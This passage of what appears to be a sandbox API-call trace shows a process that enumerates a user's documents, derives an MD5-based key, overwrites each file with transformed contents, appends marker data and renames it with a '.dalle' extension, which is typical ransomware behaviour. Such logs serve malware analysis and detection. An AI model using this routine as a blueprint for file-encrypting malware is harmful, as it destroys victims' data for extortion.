"c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\qibuq\\h1ljxbbeagy.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.670] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=3847) returned 1 [0121.670] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.672] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xee1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.672] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.673] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.673] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.673] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.673] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xf07, lpOverlapped=0x0) returned 1 [0121.674] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.674] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.674] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.674] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.674] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0eb8) returned 1 [0121.674] CryptCreateHash (in: hProv=0x6c0eb8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.675] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.675] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.675] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.675] GetLastError () returned 0x0 [0121.675] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.675] CryptReleaseContext (hProv=0x6c0eb8, dwFlags=0x0) returned 1 [0121.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xf10) returned 0x3096780 [0121.675] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.675] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0xf02, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0xf02, lpOverlapped=0x0) returned 1 [0121.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.675] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf07, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.675] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0121.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0121.675] WriteFile (in: hFile=0x618, lpBuffer=0x3093fb8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3093fb8*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.675] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093fb8 | out: hHeap=0x5e0000) returned 1 [0121.676] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.676] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.676] CloseHandle (hObject=0x618) returned 1 [0121.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0121.676] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3093b88 [0121.676] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0121.676] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\h1LjxbbEaGY.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\qibuq\\h1ljxbbeagy.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\h1LjxbbEaGY.odp.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\qibuq\\h1ljxbbeagy.odp.dalle")) returned 1 [0121.677] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.677] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.678] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.678] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9666f440, ftCreationTime.dwHighDateTime=0x1d4d324, ftLastAccessTime.dwLowDateTime=0xfd0b8940, ftLastAccessTime.dwHighDateTime=0x1d4c780, ftLastWriteTime.dwLowDateTime=0xfd0b8940, ftLastWriteTime.dwHighDateTime=0x1d4c780, nFileSizeHigh=0x0, nFileSizeLow=0xd10e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JB9Crr4gSM_9- n.ods", cAlternateFileName="JB9CRR~1.ODS")) returned 1 [0121.678] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.678] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0121.678] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.678] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\JB9Crr4gSM_9- n.ods") returned=".ods" [0121.678] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\JB9Crr4gSM_9- n.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\qibuq\\jb9crr4gsm_9- n.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.679] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=53518) returned 1 [0121.679] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.681] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd0e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.681] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.682] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.682] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xd10e, lpOverlapped=0x0) returned 1 [0121.683] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.683] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.683] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.683] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0eb8) returned 1 [0121.684] CryptCreateHash (in: hProv=0x6c0eb8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.684] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.684] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.684] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.684] GetLastError () returned 0x0 [0121.684] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.684] CryptReleaseContext (hProv=0x6c0eb8, dwFlags=0x0) returned 1 [0121.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd110) returned 0x3096780 [0121.684] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.685] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0xd109, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0xd109, lpOverlapped=0x0) returned 1 [0121.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.685] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd10e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0121.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0121.685] WriteFile (in: hFile=0x618, lpBuffer=0x3093fb8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3093fb8*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093fb8 | out: hHeap=0x5e0000) returned 1 [0121.685] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.685] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.685] CloseHandle (hObject=0x618) returned 1 [0121.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e018 [0121.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3093b88 [0121.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e018 | out: hHeap=0x5e0000) returned 1 [0121.686] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\JB9Crr4gSM_9- n.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\qibuq\\jb9crr4gsm_9- n.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\JB9Crr4gSM_9- n.ods.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\qibuq\\jb9crr4gsm_9- n.ods.dalle")) returned 1 [0121.687] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.687] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.688] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.688] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaff84d90, ftCreationTime.dwHighDateTime=0x1d4c8ad, ftLastAccessTime.dwLowDateTime=0x4b3e3a40, ftLastAccessTime.dwHighDateTime=0x1d4d32f, ftLastWriteTime.dwLowDateTime=0x4b3e3a40, ftLastWriteTime.dwHighDateTime=0x1d4d32f, nFileSizeHigh=0x0, nFileSizeLow=0x8a98, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mEnZGaCx-HF41kNT.pdf", cAlternateFileName="MENZGA~1.PDF")) returned 1 [0121.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0121.688] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.688] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\mEnZGaCx-HF41kNT.pdf") returned=".pdf" [0121.688] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\mEnZGaCx-HF41kNT.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\qibuq\\menzgacx-hf41knt.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.689] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=35480) returned 1 [0121.689] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.691] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8a72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.691] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.692] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.692] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.692] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.692] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x8a98, lpOverlapped=0x0) returned 1 [0121.693] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.693] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.693] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.693] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.693] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0eb8) returned 1 [0121.694] CryptCreateHash (in: hProv=0x6c0eb8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.694] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.694] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.694] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.694] GetLastError () returned 0x0 [0121.694] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.694] CryptReleaseContext (hProv=0x6c0eb8, dwFlags=0x0) returned 1 [0121.694] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.694] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8aa0) returned 0x3096780 [0121.694] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.694] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.694] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x8a93, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x8a93, lpOverlapped=0x0) returned 1 [0121.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.695] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8a98, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.695] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0121.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0121.695] WriteFile (in: hFile=0x618, lpBuffer=0x3093fb8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3093fb8*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.695] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093fb8 | out: hHeap=0x5e0000) returned 1 [0121.695] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.695] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.695] CloseHandle (hObject=0x618) returned 1 [0121.696] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e018 [0121.696] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3093b88 [0121.696] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e018 | out: hHeap=0x5e0000) returned 1 [0121.696] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\mEnZGaCx-HF41kNT.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\qibuq\\menzgacx-hf41knt.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\qIBuq\\mEnZGaCx-HF41kNT.pdf.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\qibuq\\menzgacx-hf41knt.pdf.dalle")) returned 1 [0121.697] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.697] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.698] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaff84d90, ftCreationTime.dwHighDateTime=0x1d4c8ad, ftLastAccessTime.dwLowDateTime=0x4b3e3a40, ftLastAccessTime.dwHighDateTime=0x1d4d32f, ftLastWriteTime.dwLowDateTime=0x4b3e3a40, ftLastWriteTime.dwHighDateTime=0x1d4d32f, nFileSizeHigh=0x0, nFileSizeLow=0x8a98, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mEnZGaCx-HF41kNT.pdf", cAlternateFileName="MENZGA~1.PDF")) returned 0 [0121.698] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0fc8 | out: hHeap=0x5e0000) returned 1 [0121.698] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0fc8 [0121.698] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.698] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.698] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.698] RtlAllocateHeap 